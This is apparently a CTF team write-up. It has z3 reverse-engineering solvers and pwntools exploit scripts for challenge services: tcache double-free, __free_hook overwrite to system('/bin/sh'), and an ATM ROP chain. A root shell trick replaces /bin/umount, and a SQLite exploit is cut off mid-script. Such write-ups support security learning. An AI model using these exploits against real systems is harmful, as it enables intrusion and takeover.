v27 = a1[12]
v12 = abs32(243012 * v27 + -233931 * v4 + 66595 * v7 + -273948 * v5 + -266708 * v24 +
75344 * v8 - 108115 * v3 - 17090 * v25 + 240281 * v10 + 202327 * v1 - 253495 * v2 +
233118 * v26 + 154680 * v6 + 25687761) + abs32(41011 * v8 + -198187 * v1 + -117171 * v7
+ -178912 * v3 + 9797 * v24 + 118730 * v10 - 193364 * v5 - 36072 * v6 + 10586 * v25 -
110560 * v4 + 173438 * v2 - 176575 * v26 + 54358815) + abs32(-250878 * v24 + 108430 *
v1 + -136296 * v5 + 11092 * v8 + 154243 * v7 + -136624 * v3 + 179711 * v4 + -128439 *
v6 + 22681 * v25 - 42472 * v10 - 80061 * v2 + 34267161) + v11
v28 = a1[13]
v29 = a1[14]
v30 = a1[15]
v13 = abs32(65716 * v30 + -18037 * v26 + -42923 * v7 + -33361 * v4 + 161566 * v6 +
194069 * v25 + -154262 * v2 + 173240 * v3 - 31821 * v27 - 80881 * v5 + 217299 * v8 -
28162 * v10 + 192716 * v1 + 165565 * v24 + 106863 * v29 - 127658 * v28 - 75839517) +
abs32(-236487 * v24 + -45384 * v1 + 46984 * v26 + 148196 * v7 + 15692 * v8 + -193664 *
v6 + 6957 * v10 + 103351 * v29 - 217098 * v28 + 78149 * v4 - 237596 * v5 - 236117 * v3
- 142713 * v25 + 24413 * v27 + 232544 * v2 + 78860648) + abs32(-69129 * v10 + -161882 *
v3 + -39324 * v26 + 106850 * v1 + 136394 * v5 + 129891 * v2 + 15216 * v27 + 213245 *
v24 - 73770 * v28 + 24056 * v25 - 123372 * v8 - 38733 * v7 - 199547 * v4 - 10681 * v6 +
57424065) + v12
v31 = a1[16]
v32 = a1[17]
v33 = a1[18]
```

```
v14 = abs32(-268870 * v30 + 103546 * v24 + -124986 * v27 + 42015 * v7 + 80222 * v2 +
-77247 * v10 + -8838 * v25 + -273842 * v4 + -240751 * v28 - 187146 * v26 - 150301 * v6
- 167844 * v3 + 92327 * v8 + 270212 * v5 - 87705 * v33 - 216624 * v1 + 35317 * v31 +
231278 * v32 - 213030 * v29 + 114317949) + abs32(-207225 * v1 + -202035 * v3 + 81860 *
v27 + -114137 * v5 + 265497 * v30 + -216722 * v8 + 276415 * v28 + -201420 * v10 -
266588 * v32 + 174412 * v6 + 249222 * v24 - 191870 * v4 + 100486 * v2 + 37951 * v25 +
67406 * v26 + 55224 * v31 + 101345 * v7 - 76961 * v29 + 33370551) + abs32(175180 * v29
+ 25590 * v4 + -35354 * v30 + -173039 * v31 + 145220 * v25 + 6521 * v7 + 99204 * v24 +
72076 * v27 + 207349 * v2 + 123988 * v5 - 64247 * v8 + 169099 * v6 - 54799 * v3 + 53935
* v1 - 223317 * v26 + 215925 * v10 - 119961 * v28 - 83559622) + v13
v34 = a1[19]
v15 = abs32(43170 * v3 + -145060 * v2 + 199653 * v6 + 14728 * v30 + 139827 * v24 +
59597 * v29 + 2862 * v10 + -171413 * v31 + -15355 * v25 - 71692 * v7 - 16706 * v26 +
264615 * v1 - 149167 * v33 + 75391 * v27 - 2927 * v4 - 187387 * v5 - 190782 * v8 -
150865 * v28 + 44238 * v32 - 276353 * v34 + 82818982) + v14
v35 = a1[20]
v16 = abs32(-3256 * v27 + -232013 * v25 + -261919 * v29 + -151844 * v26 + 11405 * v4 +
159913 * v32 + 209002 * v7 + 91932 * v34 + 270180 * v10 + -195866 * v3 - 135274 * v33 -
261245 * v1 + 24783 * v35 + 262729 * v8 - 81293 * v24 - 156714 * v2 - 93376 * v28 -
163223 * v31 - 144746 * v5 + 167939 * v6 - 120753 * v30 - 13188886)
v36 = a1[21]
v37 = a1[22]
v17 = abs32(-240655 * v35 + 103437 * v30 + 236610 * v27 + 100948 * v8 + 82212 * v6 +
-60676 * v5 + -71032 * v3 + 259181 * v7 + 100184 * v10 + 7797 * v29 + 143350 * v24 +
76697 * v2 - 172373 * v25 - 110023 * v37 - 13673 * v4 + 129100 * v31 + 86759 * v1 -
101103 * v33 - 142195 * v36 + 28466 * v32 - 27211 * v26 - 269662 * v34 + 9103 * v28 -
96428951) + abs32(-92750 * v28 + -151740 * v27 + 15816 * v35 + 186592 * v24 + -156340 *
v29 + -193697 * v2 + -108622 * v8 + -163956 * v5 + 78044 * v4 + -280132 * v36 - 73939 *
v33 - 216186 * v3 + 168898 * v30 + 81148 * v34 - 200942 * v32 + 1920 * v1 + 131017 *
v26 - 229175 * v10 - 247717 * v31 + 232852 * v25 + 25882 * v7 + 144500 * v6 +
175681562) + v16 + v15
v38 = a1[23]
v18 = abs32(234452 * v34 + -23111 * v29 + -40957 * v2 + -147076 * v8 + 16151 * v32 +
-250947 * v35 + -111913 * v30 + -233475 * v24 + -2485 * v28 + 207006 * v26 + 71474 * v3
+ 78521 * v1 - 37235 * v36 + 203147 * v5 + 159297 * v7 - 227257 * v38 + 141894 * v25 -
238939 * v10 - 207324 * v37 - 168960 * v33 + 212325 * v6 + 152097 * v31 - 94775 * v27 +
197514 * v4 + 62343322)
v39 = a1[24]
v40 = a1[25]
v19 = abs32(-142909 * v34 + -111865 * v31 + 258666 * v36 + -66780 * v2 + -13109 * v35 +
-72310 * v25 + -278193 * v26 + -219709 * v24 + 40855 * v8 + -270578 * v38 + 96496 * v5
+ -4530 * v1 + 63129 * v28 - 4681 * v7 - 272799 * v30 - 225257 * v10 + 128712 * v37 -
201687 * v39 + 273784 * v3 + 141128 * v29 + 93283 * v32 + 128210 * v33 + 47550 * v6 -
84027 * v4 + 52764 * v40 - 140487 * v27 + 105279220) + abs32(216020 * v38 + -248561 *
v29 + -86516 * v33 + 237852 * v26 + -132193 * v31 + -101471 * v3 + 87552 * v25 +
-122710 * v8 + 234681 * v5 + -24880 * v7 + -245370 * v1 + -17836 * v36 - 225714 * v34 -
256029 * v4 + 171199 * v35 + 266838 * v10 - 32125 * v24 - 43141 * v32 - 87051 * v30 -
68893 * v39 - 242483 * v28 - 12823 * v2 - 159262 * v27 + 123816 * v37 - 180694 * v6 +
152819799) + v18 + v17
```

```
v20 = a1[26]
v41 = a1[27]
v21 = abs32(-116890 * v3 + 67983 * v27 + -131934 * v4 + 256114 * v40 + 128119 * v24 +
48593 * v33 + -41706 * v2 + -217503 * v26 + 49328 * v6 + 223466 * v7 + -31184 * v5 +
-208422 * v36 + 261920 * v1 + 83055 * v20 + 115813 * v37 + 174499 * v29 - 188513 * v35
+ 18957 * v25 + 15794 * v10 - 2906 * v28 - 25315 * v8 + 232180 * v32 - 102442 * v39 -
116930 * v34 - 192552 * v38 - 179822 * v31 + 265749 * v30 - 54143007) + v19 +
abs32(-215996 * v4 + -100890 * v40 + -177349 * v7 + -159264 * v6 + -227328 * v27 +
-91901 * v24 + -28939 * v10 + 206392 * v41 + 6473 * v25 + -22051 * v20 + -112044 * v34
+ -119414 * v30 + -225267 * v35 + 223380 * v3 + 275172 * v5 + 95718 * v39 - 115127 *
v29 + 85928 * v26 + 169057 * v38 - 204729 * v1 + 178788 * v36 - 85503 * v31 - 121684 *
v2 - 18727 * v32 + 109947 * v33 - 138204 * v8 - 245035 * v28 + 134266 * v37 +
110228962)
v22 = a1[28]

sol.add(v21+ abs32( -165644 * v32+ 4586 * v39+ 138195 * v25+ 155259 * v35+ -185091 *
v3+ -63869 * v31+ -23462 * v30+ 150939 * v41+ -217079 * v8+ -122286 * v6+ 5460 * v38+
-235719 * v7+ 270987 * v26+ 157806 * v34+ 262004 * v29- 2963 * v28- 159217 * v10+
266021 * v33- 190702 * v24- 38473 * v20+ 122617 * v2+ 202211 * v36- 143491 * v27-
251332 * v4+ 196932 * v5- 155172 * v22+ 209759 * v40- 146511 * v1+ 62542 * v37+
185928391)+ abs32( 57177 * v24+ 242367 * v39+ 226332 * v31+ 15582 * v26+ 159461 * v34+
-260455 * v22+ -179161 * v37+ -251786 * v32+ -66932 * v41+ 134581 * v1+ -65235 * v29+
-110258 * v28+ 188353 * v38+ -108556 * v6+ 178750 * v40+ -20482 * v25+ 127145 * v8+
-203851 * v5+ -263419 * v10+ 245204 * v33+ -62740 * v20+ 103075 * v2- 229292 * v36+
142850 * v30- 1027 * v27+ 264120 * v3+ 264348 * v4- 41667 * v35+ 130195 * v7+ 127279 *
a1[29]- 51967523) == 0)

assert sol.check() == sat

print(sol.model())
```

```
[33, 146, 208, 207, 51, 52, 230, 190, 199, 211, 110, 51, 207, 190, 46, 51, 79, 183, 73,
103, 42, 103, 197, 83, 221, 29, 209, 240, 194, 26]
```

```
from z3 import *

flag = [BitVec(f'flag[{i}]', 8) for i in range(30)]
sol = Solver()
R1 = flag.copy()
R2 = []
```

```
Arr = [105, 244, 63, 10, 24, 169, 248, 107, 129, 138, 25, 182, 96, 176, 14, 89, 56,
229, 206, 19, 23, 21, 22, 198, 179, 167, 152, 66, 28, 201, 213, 80, 162, 151, 102, 36,
91, 37, 50, 17, 170, 41, 3, 84, 85, 226, 131, 38, 71, 32, 18, 142, 70, 39, 112, 220,
16, 219, 159, 222, 11, 119, 99, 203, 47, 148, 185, 55, 93, 48, 153, 113, 1, 237, 35,
75, 67, 155, 161, 74, 108, 76, 181, 233, 186, 44, 125, 232, 88, 8, 95, 163, 200, 249,
120, 243, 174, 212, 252, 234, 58, 101, 228, 86, 109, 144, 104, 121, 117, 87, 15, 132,
12, 20, 165, 115, 136, 135, 118, 69, 68, 2, 82, 123, 250, 251, 53, 255, 51, 221, 211,
195, 145, 140, 254, 0, 116, 43, 29, 217, 197, 183, 168, 188, 34, 218, 146, 147, 98,
149, 246, 180, 103, 33, 40, 207, 208, 192, 143, 26, 154, 225, 100, 141, 175, 124, 230,
62, 177, 205, 110, 202, 253, 173, 46, 52, 114, 164, 166, 137, 158, 122, 13, 83, 178,
133, 189, 187, 7, 184, 77, 245, 216, 190, 194, 72, 157, 172, 171, 199, 160, 45, 49, 27,
204, 81, 6, 92, 59, 209, 239, 130, 97, 61, 214, 215, 73, 90, 126, 42, 30, 240, 79, 224,
78, 223, 111, 60, 4, 5, 196, 231, 106, 64, 139, 235, 150, 227, 238, 191, 127, 31, 156,
54, 241, 242, 134, 247, 128, 65, 94, 57, 210, 236, 9, 193]
R3 = Array('R3', BitVecSort(8), BitVecSort(8))

for i in range(256):
    sol.add(R3[i] == Arr[i])

for R7 in range(30):
    R1[R7] = R1[R7] ^ (R7)
    R1[R7] = (R1[R7] ^ 255) & 255
    R2.append(R3[R1[R7]])

a1 = [33, 146, 208, 207, 51, 52, 230, 190, 199, 211, 110, 51, 207, 190, 46, 51, 79,
183, 73, 103, 42, 103, 197, 83, 221, 29, 209, 240, 194, 26]

for i in range(30):
    sol.add(R2[i] == a1[i])


assert sol.check() == sat
m = sol.model()
print(m)
print(bytearray([(m[flag[i]].as_long()) for i in range(30)]))
```

CheckYourKey

```
import base64
import binascii
from Crypto.Cipher import AES

b58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'


def base58decode(s):       # 传入的参数是加密后的字符串
    result = 0
    for c in s:
```

```
        result = result * 58 + b58.find(c)
    return result

# print(b58decode("56fkoP8KhwCf3v7CEz"))
changed_base64 = "+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD"   # 变表
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"       # 标准码表
# 标准码表是从(A-Z)+(a-z)+(0-9)+(+/)
enflag = "SVTsfWzSYGPWdYXodVbvbni6doHzSi=="        # 比较数据
right_enflag = ''
enflag1 = ''
flag = ''
for i in range(len(enflag)):
    right_enflag += base[changed_base64.find(enflag[i])]
# print(right_enflag)
enflag1 = base64.b64decode(right_enflag)
print(enflag1)

print(hex(base58decode("A4juLPXCTmefm6mfX8naqB")))
data = binascii.unhexlify(hex(base58decode("A4juLPXCTmefm6mfX8naqB"))[2:].encode("utf-8"))


mode = AES.MODE_ECB
key = list(b'goodlucksmartman')
cryptos = AES.new(bytes(key), mode)
flag = cryptos.decrypt(bytes(data))
print(flag)
```

huowang

unicorn执行145E010处的代码模拟迷宫，走到正确的分支(方向)才会正确解密下一段代码

迷宫18D7180

需要找到一条路径同时走完这两个迷宫

```
maps = [[' ','+',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' '],
[' ','+',' ','+','+','+','+','+',' ','+','+','+','+','+','+','+',' ','+','+','+','+','+',' '],
[' ','+',' ','+',' ','+',' ','+',' ',' ',' ','+',' ','+',' ',' ',' ','+',' ','+',' ','+',' '],
[' ','+','+','+',' ','+',' ','+','+','+','+','+',' ','+',' ','+','+','+',' ','+',' ','+',' '],
[' ','+',' ','+',' ','+',' ',' ',' ',' ',' ',' ',' ',' ',' ','+',' ','+',' ',' ',' ','+',' '],
```

```
[' ','+',' ','+',' ','+','+','+','+','+',' ','+','+','+','+','+',' ','+','
','+','+','+',' '],
[' ','+',' ','+',' ',' ',' ',' ',' ','+',' ','+',' ','+',' ',' ',' ',' ',' ','+','
','+',' '],
[' ','+','+','+',' ','+',' ','+','+','+',' ','+','+','+','+','+','+','+','+','+','
','+',' '],
[' ',' ',' ',' ','+',' ','+',' ','+',' ',' ',' ','+',' ','+',' ',' ',' ','+',' ',' ','
','+',' '],
[' ','+','+','+',' ','+',' ','+','+','+',' ','+',' ','+',' ','+','+','+',' '
','+','+','+',' '],
[' ','+',' ',' ',' ','+',' ',' ',' ','+',' ','+',' ','+',' ','+','+','+',' ',' ','
','+',' '],
[' ','+','+','+',' ','+',' ','+','+','+',' ','+',' ','+',' ','+','+','+','+','+','
','+',' '],
[' ','+',' ','+',' ','+',' ','+',' ',' ',' ','+',' ','+',' ',' ',' ',' ','+',' ','+','
','+',' '],
[' ','+',' ','+','+','+',' ','+','+','+','+','+','+','+','+','+','+',' ','+','+','+','
','+',' '],
[' ','+',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','
','+',' '],
[' ','+',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','
','+',' '],
[' ','+','+','+',' ',' ','+',' ',' ',' ','+','+',' ','+','+','+','+','+','+',' ','+','
','+',' '],
[' ','+',' ','+',' ','+',' ','+',' ','+',' ',' ',' ',' ',' ','+',' ',' ',' ',' ','+',' ','+','
','+',' '],
[' ','+','+','+','+','+','+','+',' ','+','+','+','+','+',' '
','+','+','+','+','+','+',' '],
[' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','
','+',' ']]

from capstone import *
import os

with open("export_progm", "rb") as f:
    code_data = f.read()

CODE = list(code_data[0x59:0x59+0x8*8])

cs = Cs(CS_ARCH_X86, CS_MODE_64)
x, y = 0, 1
path = ""
```

```
def show_map():
    for i in range(23):
        for j in range(23):
            if i == x and j == y:
                print("*", end=' ')
            else:
                print(maps[i][j], end=' ')
        print()

def decrypt(key_offset):
    global x, y, path
    for i in range(8*8):
        CODE[i] = CODE[i] ^ code_data[0xf4 + key_offset + i]

    curr_direction = ""
    choice = dict()
    for insn in cs.disasm(bytearray(CODE), 0x4000D9):
        if insn.mnemonic == "cmp":
            curr_direction = int(insn.op_str.split(", ")[1], 16)
        elif insn.mnemonic == "lea":
            next_offset = int(insn.op_str.split(" + ")[1][:-1], 16)
            choice[chr(curr_direction)] = next_offset

        print("%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str))

    print("\nChoose:")
    for direction, key_off in choice.items():
        print(f"{direction} {key_off}")

    show_map()
    print(path)

    while True:
        my_choice = input()
        if my_choice in choice:
            path += my_choice
            break
        print("Try again")

    if my_choice == "a":
        y-=1
    elif my_choice == "s":
        x+=1
    elif my_choice == "d":
        y+=1
    elif my_choice == "w":
        x-=1
    return choice[my_choice]
```

```
key_offset = 0
while True:
    os.system("cls")
    key_offset = decrypt(key_offset)
```

手玩

`sssddwwddsssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassddddddds`

Pwn

MyCarsShowSpeed

思路

- 每次比赛完都有car->fixDifficulty++, 开始一个比赛后直接输入空格和q就可以快速结束比赛, 直接增加这个值. car->fixDifficulty初始值为1, 类型为uint8_t因此可以很容易的溢出为0
- 当car->fixDifficulty=0时, 那么取车时刻将小于修车时刻, 导致cost = 5 * fixedTime = -5 * fixSec, 因此每次先fixCar再fetchCar都会让资金增加5*当前时间的秒数, 这样就可以快速刷出很多钱
- 在有了钱, 但是winTimes不足时买flag的话, 会把game->carList中的car全部free()调用, 去修车时一个car同时位于game->carList和store->carList中, 此时store->carList->car就是UAF指针
- 有了UAF之后, 按照FixCar(), buyGoods("flag"), fetchCar()循环三次, 就可以释放同一个car对象三次, 在tcache[0x80]上构造出环并且让tcache[0x80].cnt=3
- 三次free之后通过car->name就可以泄露出堆地址, 从而泄露出game对象的地址
- 由于写入car->name的位置刚好是tcache->next指针的位置, 因此在构造出环之后, 创建car对象, 在car->name处写入game->winTimes的地址, 然后多次分配就可以覆盖掉该字段

```
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
from time import sleep
import datetime
from random import randint

context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))


if(len(sys.argv)==1):     #local
    #cmd = ["./ld.so.2", "--library-path", "/home/chenhaohao",  "./pwn"]
    #cmd = ["./SpeedGame"]
    cmd = ["./pwn"]
```

```
    sh = process(cmd)
else:           #remtoe
    sh = remote("49.0.206.171", 9999)

def Num(n):
    sh.send(str(n).rjust(8, '0'))

def Cmd(n):
    sh.recvuntil('> ')
    Num(n)

def NewGame():
    Cmd(1)

def ShowInfo():
    Cmd(2)

def EntryStore():
    Cmd(3)

def BuyGoods(goodName, carName=''):
    Cmd(1)
    sh.recvuntil('> ')
    sh.send(goodName)
    if('Car' in goodName):
        sh.recvuntil('Name your car:\n> ')
        sh.send(carName)

def SellGoods(goodName):
    Cmd(2)
    sh.recvuntil('> ')
    sh.send(goodName)

def GetCarName():
    sh.recvuntil('CarName: ')
    carName = sh.recvuntil('   Fuel: ', drop=True)
    if(len(carName)==0):
        carName='\x00'
    return carName

def FixCar(carName=''):
    Cmd(3)
    if len(carName)==0:
        carName=GetCarName()
    sh.recvuntil('> ')
    sh.send(carName)
    return carName

def FetchCar(carName=''):
```

```
    Cmd(4)
    if len(carName)==0:
        carName=GetCarName()
    sh.recvuntil('> ')
    sh.send(carName)
    return carName

def LeaveStore():
    Cmd(5)

def SwitchCar(carName=''):
    Cmd(4)
    if len(carName)==0:
        carName=GetCarName()
    sh.recvuntil('> ')
    sh.send(carName)
    return carName


# 1. buy a car to earn money
EntryStore()
BuyGoods("SuperCar", "A")
LeaveStore()
ShowInfo()

#2. make car->fixDifficuty overflow to zero,
botCar = " ______\x0d\x0a\x1b\x5b\x43"+"/|_||_\\`._\x0d\x0a\x1b\x5b\x43"+"(  _BOT _
_\\\x0d\x0a\x1b\x5b\x43"+"=`-(_)--(_)-`"

for i in range(255):
    NewGame()
    sh.recvuntil(botCar)    # wait for game begin
    sh.send(' ')    # begin game
    sh.send('q')    # stop game

#3. wait for big second
while(datetime.datetime.now().second not in [30, 50]):
    sleep(1)
    print("wait for good sencod")


#4. be rich, game->money+=5*fixSec for each fix
EntryStore()
#for i in range(400):
#    FixCar("A")
#    FetchCar("A")
batch = 40  # batch send and recv to speed up
for i in range(400//batch):
    s = "00000003"  # fix car
```

```
    s+= "A".ljust(8, '\x00')    # car name
    s+= "00000004"  # fetch car
    s+= "A".ljust(8, '\x00')    # car name
    sh.send(s*batch)
    for i in range(batch):
        sh.recvuntil('Your car has been fixed for ')
LeaveStore()


#5. add car to store->carList
# game->carList(A)
# store->carList(A)
EntryStore()
FixCar()

#6. free(car A)
# tcache[0x80]->A
# store->carList(A), now A->isWin!=0 (255/256)
BuyGoods("flag")

#7. fetch A
# tcache[0x80]->A
# game->carList(A)
FetchCar()    # carA's name

#8. add car to store->carList
# tcache[0x80]->A
# game->carList(A)
# store->carList(A)
FixCar()

#9. double free
# tcache[0x80]->A->A->...
# store->carList(A)
BuyGoods("flag")

#10. leak heap address
# tcache[0x80, 2]->A->A->...
# game->carList(A)
heap_addr = u64(FetchCar()+'\x00\x00')    # carA's name
Log('heap_addr')

game_addr = (0x5555555602a0-0x5555555605e0)+heap_addr
Log('game_addr')

win_addr = game_addr + 0x98 - 0x8
Log('win_addr')

#11. double free again to increase tcache[0x80].cnt
```

```
# tcache[0x80, 3]->A->A->...
# game->carList(A)
FixCar()
BuyGoods("flag")
FetchCar()

#12. control tcache list
# tcache[0x80, 2]->A->&game->winTimes
BuyGoods("NormalCar", p64(win_addr)[0:7])

#13. allocate to game->winTimes
BuyGoods("NormalCar", 'A'*7)
BuyGoods("NormalCar", '\xff'*7)


def GDB():
    gdb.attach(sh, '''
    break sellGoodsImpl
    conti
    ''')
#GDB()

BuyGoods("flag")
sh.interactive()
```

diary

利用UAF构造最后一个块同时存在于tcache与unsorted bin中

再利用enc的calloc写入，修改next指针为free_hook

```
from pwn import *

# s = process("./diary")
s = remote("119.13.105.35","10111")

def add(sec,buf):
    payload = "add#2022#12#10#0#0#{}#{}".format(sec,buf)
    s.sendlineafter("input your test cmd:",payload)

def edit(idx,buf):
    payload = "update#{}#{}".format(idx,buf)
    s.sendlineafter("input your test cmd:",payload)

def show(idx):
    payload = "show#{}".format(idx)
    s.sendlineafter("input your test cmd:",payload)

def free(idx):
```

```
    payload = "delete#{}".format(idx)
    s.sendlineafter("input your test cmd:",payload)

def enc(idx,offset,length):
    payload = "encrypt#{}#{}#{}".format(idx,offset,length)
    s.sendlineafter("input your test cmd:",payload)

def dec(idx):
    payload = "decrypt#{}".format(idx)
    s.sendlineafter("input your test cmd:",payload)

def debug(addr):
    gdb.attach(s,
        '''
        b *$rebase({})
        set $datevec=*(size_t *)$rebase(0x162F0)
        '''.format(addr))

for i in range(11):
    add(i,str(i))

for i in range(6):
    free(10-i)

free(1)
show(3)
s.recvuntil("2022.10.12 0:0:4\n")
heap = u64(s.recvline(keepends=False)+"\x00\x00")
edit(3,'1')
free(1)
show(2)
libc = ELF("./libc-2.31.so")
libc.address = u64(s.recvuntil("\x7f")[-6:]+'\x00\x00')-0x1ecbe0
success(hex(libc.address))
success(hex(heap))
edit(0,'A'*0x8+p64(libc.sym['__free_hook']-4))
enc(0,12,6)
edit(0,'A'*(0x2c0-0x16))
add(40,'/bin/sh;')

add(41,p64(libc.sym['system'])[:6])
free(4)
# debug(0x4299)
free(3)

s.interactive()
```

ez_atm

UAF 手动实现个协议

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

elf = ELF('./client')
# host = '127.0.0.1'
# port = '3339'

host = '190.92.237.200'
port = '4445'

def make_packet(cmd,id='',password='',money=0):
    payload = cmd.ljust(0x10,'\x00') + password.ljust(0x8,'\x00') +
id.ljust(0x20,'\x00') + p64(money)
    payload = payload.ljust(0x98,'\x00')
    return payload

def new_account(id,password,money):
    payload = make_packet('new_account',id,password,money)
    p.send(payload)


def login(id,password):
    payload = make_packet('login',id,password)
    p.send(payload)
    # p.recvuntil('Logging in.....')

def cancellation(password):
    payload = make_packet('cancellation','',password)
    p.send(payload)
    # p.recvuntil('The target account has been cancelled.')
```

```python
def update_pwd(old_pwd,new_password):
    payload = make_packet('update_pwd','',new_password)
    p.send(payload)
    payload = make_packet('update_pwd','',old_pwd)
    sla("please input your pasword",payload)
    # p.recvuntil('Password modification succeeded.')

def exit_account():
    payload = make_packet('exit_account')
    p.send(payload)

def query():
    payload = make_packet('query')
    p.send(payload)

def exit_system():
    payload = make_packet('exit_system')
    p.send(payload)

from ctypes import cdll
lib = cdll.LoadLibrary("./libc-2.27.so")

def getRand():
    return lib.rand() % 15

def getChar(a1):
    if a1 <= 9:
        return str(a1)
    return chr(a1 - 10 + ord('a'))

def genUUID(seed):
    lib.srand(seed)
    s = 'yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy'
    uuid = ''
    for i in s:
        if(i != '4' and i != '-'):
            if(i == 'x'):
                v1 = getRand()
                uuid += getChar(v1)
            else:
                v1 = getRand()
                uuid += getChar(v1 & 3 | 8)
        else:
            uuid += i
    return uuid

def conn(host,port):
    global p
    p = remote(host,port)
```

```
    seed = u32(p.recv(4))
    success('seed:'+hex(seed))
    uuid = genUUID(seed)
    success('uuid:'+uuid)
    p.send(uuid)

p = None
def getHeap():
    global p
    conn(host,port)

    for i in range(9):
        new_account('u{}'.format(i),'p0',0x1234)
        exit_account()

    for i in range(9):
        login('u{}'.format(i),'p0')
        cancellation('p0')

    login('u7','\x00'*8)
    cancellation('\x00'*8)

    new_account('u0','p0',0x1234)
        # exit_account()
    query()
    ru('p0\x00\x00\x00\x00\x00\x00u0\x00\x00\x00\x00\x00\x00\x00')
    p.recv(0x30)
    heap_leak = uu64(p.recv(6))
    heap_base = heap_leak - 0x860 - 0xc00
    lg('heap_leak',heap_leak)
    lg('heap_base',heap_base)
    raw_input(">")
    exit_account()
    exit_system()
    p.close()
    return heap_base,heap_leak

heap_base,heap_leak = getHeap()
# heap_base = 0x555555604000
# heap_leak = 0x555555604860
def getLibc():
    global p
    # p = process(["./client",host,port])
    conn(host,port)
    new_account('u1','p0',0x1234)
    cancellation('p0')
    login(p64(heap_base+0x10),p64(0))
    update_pwd(p64(0),p64(heap_base+0x10))
    exit_account()
```

```
    new_account('u41','p0',0x1234)
    exit_account()
    new_account('\xff'*0x20,'\xff'*8,0xffffffffffffffff)
    cancellation('\xff'*8)
    new_account('u44','p0',0x1234)
    query()
    offset = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-0x3ebca0
    lg('libc_address',offset)
    raw_input(">")
    exit_account()
    exit_system()
    p.close()
    return offset
libc = ELF("./libc-2.27.so")
libc.address = getLibc()
# libc.address = 0x7ffff79e2000

def send_msg(buf):
    sla("your choice :",'writemsg')
    p.send(buf)


def getStack():
    global p
    conn(host,port)
    new_account('u1','p0',0x1234)
    cancellation('p0')
    login(p64(heap_base+0x10),p64(0))
    update_pwd(p64(0),p64(libc.sym['__environ']-0x30))
    exit_account()
    new_account('u41','/bin/sh\x00',0x1234)
    exit_account()
    new_account(p64(libc.sym['gets']),p64(libc.sym['gets']),0xdeadbeef)
    query()
    ru(p32(0xdeadbeef))
    stack = uu64(ru('\x7f',False)[-6:])-0xf0
    lg('stack',stack)
    raw_input(">")
    exit_account()
    exit_system()
    p.close()
    return stack

stack = getStack()
# stack = 0x7fffffffe5d8

def getShell():
    global p
    conn(host,port)
```

```
    new_account('u1','p0',0x1234)
    exit_account()
    new_account('u3','p0',0x1234)
    exit_account()
    new_account('u2','p0',0x1234)
    exit_account()
    login('u2','p0')
    cancellation('p0')
    login('u1','p0')
    cancellation('p0')
    login(p64(heap_base+0x10),p64(heap_leak-0x170))
    update_pwd(p64(heap_leak-0x170),p64(stack))
    exit_account()
    new_account('u41','/bin/sh\x00',0x1234)
    exit_account()

    pop_rdi = 0x000000000002164f+libc.address
    pop_rdx_rsi = 0x0000000000130539 + libc.address

    new_account(p64(4)+p64(pop_rdx_rsi)+p64(0x300)+p64(stack),p64(pop_rdi),0)
    exit_account()
    login('u3','p0')
    cancellation('p0')
    login(p64(heap_base+0x10),p64(libc.address+0x21c87))
    update_pwd(p64(libc.address+0x21c87),p64(stack+0x28))
    # raw_input(">")
    new_account('deadbeef','/bin/sh\x00',0x1234)
    exit_account()
    new_account('nu1l',p64(libc.sym['read']),0x1234)
    exit_account()
    new_account('mrr',p64(libc.sym['read']),0x1234)
    raw_input(">")
    exit_account()
    exit_system()
    raw_input(">")
    payload = p64(pop_rdi+1)*10
    payload +=
p64(pop_rdi)+p64(stack+0x100)+p64(pop_rdx_rsi)+p64(0)+p64(0)+p64(libc.sym['open'])
    payload +=
p64(pop_rdi)+p64(3)+p64(pop_rdx_rsi)+p64(0x100)+p64(stack+0x200)+p64(libc.sym['read'])
    payload +=
p64(pop_rdi)+p64(4)+p64(pop_rdx_rsi)+p64(0x100)+p64(stack+0x200)+p64(libc.sym['write'])
    payload = payload.ljust(0x100,'\x00')+'flag\x00'
    p.send(payload)
    p.interactive()

getShell()
```

game

非预期

```
chmod 777 /bin
cd /bin
rm ./umount
touch ./umount
echo /bin/sh > ./umount
exit
```

ppuery

https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/

sm(0x24800),malloc
se(0x24790),edit
ss(0x624a0),show
sd(0x24740),delete

UAF

```
from pwn import *
# s = process("./ppuery")
s = remote("190.92.233.46","10000")

db_tmp = '''
CREATE VIEW test(cola) AS SELECT (
    SELECT {}
);
.quit
'''

def cmd(cmd):
    s.sendlineafter("Choice: ",cmd)

def create(name):
    cmd('1')
    s.sendlineafter("Name:",name)

def menu_show(idx):
    cmd('2')
    s.sendlineafter("Index:",str(idx))

def patch(idx,buf):
    cmd('3')
    s.sendlineafter("Index:",str(idx))
    s.sendlineafter("Size:",str(len(buf)))
    s.sendafter("Content:",buf)
```

```python
def run(cmd):
    db = db_tmp.format(cmd)
    open("exp.cmd","w").write(db)
